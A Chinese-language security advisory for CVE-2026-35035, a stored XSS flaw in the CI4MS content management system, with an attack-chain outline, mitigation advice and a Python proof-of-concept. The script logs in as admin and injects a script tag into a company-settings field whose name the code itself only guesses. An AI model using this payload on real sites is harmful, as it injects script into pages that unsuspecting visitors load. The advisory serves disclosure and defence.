IPBUF安全漏洞报告
English
CVE-2026-35035 CVSS 7.2 高危

CVE-2026-35035 CI4MS存储型XSS漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35035
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
CI4MS

相关标签

XSS存储型XSSCI4MSCodeIgniterCWE-79Web安全

漏洞概述

CI4MS是基于CodeIgniter 4的CMS骨架。在0.31.2.0版本之前,系统在“系统设置-公司信息”中未能正确清理用户输入。拥有高权限的攻击者可在管理配置字段注入恶意脚本,这些输入被存储在数据库中,并在公共主页等面向公众的页面上未经适当编码即被渲染,导致存储型XSS漏洞。该漏洞仅影响公共前端,不影响管理仪表板。

技术细节

该漏洞的根本原因在于CI4MS应用程序在处理持久化数据时的输出编码缺失。尽管攻击者需要高权限(PR:H)才能修改配置,但应用程序在将存储于数据库中的“公司信息”等管理配置数据回显至公共前端页面时,未实施必要的HTML实体编码或上下文相关的转义机制。攻击者可以在系统设置的字段中嵌入恶意的JavaScript代码或HTML标签。当普通用户访问受感染的主页或其他公共页面时,浏览器会将这些数据作为HTML文档的一部分进行解析并执行其中的脚本。利用此漏洞,攻击者能够劫持用户会话、窃取敏感信息(如Cookie)、执行未授权操作,或将用户重定向至恶意站点,严重影响系统的完整性与机密性。

攻击链分析

STEP 1
步骤1:获取管理员权限
攻击者需要通过钓鱼、撞库或其他方式获得CI4MS系统的管理员账户凭证(PR:H)。
STEP 2
步骤2:注入恶意载荷
攻击者登录后台,访问“系统设置-公司信息”模块,在配置字段中输入包含JavaScript的恶意代码。
STEP 3
步骤3:持久化存储
应用程序将未经充分过滤的恶意输入保存到数据库中。
STEP 4
步骤4:诱导访问
普通用户访问CI4MS系统的公共主页或其他包含公司信息的公共页面。
STEP 5
步骤5:执行恶意脚本
浏览器从数据库读取恶意数据并在前端渲染,由于缺乏输出编码,恶意脚本在受害者浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: CI4MS < 0.31.2.0 - Stored XSS in Company Information # Description: Inject malicious script via admin panel and trigger on public page. target_url = "http://target-ci4ms-site.com" login_url = f"{target_url}/admin/login" settings_url = f"{target_url}/admin/settings/company" public_url = f"{target_url}/" # Admin credentials (simulated) username = "admin" password = "password" # Malicious payload to be stored xss_payload = "<script>alert('CVE-2026-35035 XSS');</script>" session = requests.Session() # Step 1: Authenticate as Admin data = {'email': username, 'password': password} session.post(login_url, data=data) # Step 2: Send Payload to System Settings - Company Information # Assuming the field name is 'company_name' or similar based on description post_data = { 'company_name': xss_payload, # Injecting XSS here 'update': 'Save' } response = session.post(settings_url, data=post_data) if response.status_code == 200: print("[+] Payload injected successfully via Admin Panel.") # Step 3: Verify execution on Public Page # Visit the main landing page as a normal user public_response = session.get(public_url) if xss_payload in public_response.text: print("[+] Vulnerability confirmed: Payload reflected on public page.") else: print("[-] Payload not found on public page.")

影响范围

CI4MS < 0.31.2.0

防御指南

临时缓解措施
建议立即升级至0.31.2.0或更高版本。若无法立即升级,应手动修改前端模板代码,确保所有从“公司信息”等管理配置读取的数据在渲染前都经过HTML实体编码处理(如将<转换为&lt;)。同时,应定期审查管理员账户活动,确保未发生未授权的配置更改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表